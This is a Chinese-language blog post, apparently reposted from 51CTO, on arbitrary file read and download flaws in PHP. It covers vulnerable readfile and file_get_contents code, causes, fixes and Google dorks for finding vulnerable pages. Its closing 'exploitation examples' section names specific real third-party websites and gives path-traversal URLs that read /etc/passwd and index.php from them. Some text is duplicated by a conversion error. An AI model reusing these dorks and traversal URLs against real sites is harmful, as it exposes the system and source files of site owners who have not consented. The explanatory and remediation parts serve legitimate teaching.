0x01 檔案讀取
檔案讀取在PHP這種可以有很多種方式實作,在web的預設情況下,$filename變量可能使用者可控
1
2
3
4
5
6
<code><?php</code>
<code>$filename</code> <code>= </code><code>$_GET</code><code>[</code><code>'f'</code><code>];</code>
<code>echo</code> <code>file_get_contents</code><code>(</code><code>$filename</code><code>);</code>
<code>?></code>
<code>#當變量 </code><code>$filename</code> <code>沒有經過校驗,或者校驗不嚴格,使用者可以控制這個變量讀取任意檔案,例如</code>
<code>/etc/passwd、/config.ini 等檔案</code>
0x02 實作檔案下載下傳的兩種方式
1.直接下載下傳:
<code><</code><code>a</code> <code>href</code><code>=</code><code>"http://www.xxx.com/xxx.rar"</code><code>></</code><code>a</code><code>></code>
2.增加header頭
7
<code>header(</code><code>'Content-Type:image/gif'</code><code>);</code>
<code>header(</code><code>'Content-Disposition:attachment;filename='</code><code>.</code><code>$filename</code><code>);</code>
<code>header(</code><code>'Content-Length:'</code><code>.</code><code>filesize</code><code>(</code><code>$filename</code><code>));</code>
<code>readfile(</code><code>$filename</code><code>);</code>
當$filename沒有經過校驗,或者校驗不合格,使用者可以控制這個變量下載下傳任意檔案,比如/etc/passwd,./index.php、等等就造成了任意檔案下載下傳漏洞。
0x03 成因
都有讀取檔案的函數
讀物檔案的路徑使用者可控,且沒有經過校驗,或者校驗不嚴格
都輸出檔案内容
0x04 Google Serch
<code>inurl:</code><code>"readfile.php?file="</code>
<code>inurl:</code><code>"download.php?file="</code>
0x05 修複方案
過濾<.>(點)
正則判斷使用者輸入的參數格式,比對輸入的格式是否合格
php.ini配置open_basedir
0x06 執行個體漏洞利用
(僅供測試,請勿随意破壞)
位址:
<code>url:http:</code><code>//hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt</code>
漏洞利用:
<code>http:</code><code>//hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd</code>
<code>url:http:</code><code>//storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf</code>
漏洞利用
<code>http:</code><code>//www.wodehouse.se/upload/readfile.php?file=../index.php</code>
<code></code>
本文轉自 nw01f 51CTO部落格,原文連結:http://blog.51cto.com/dearch/1836973,如需轉載請自行聯系原作者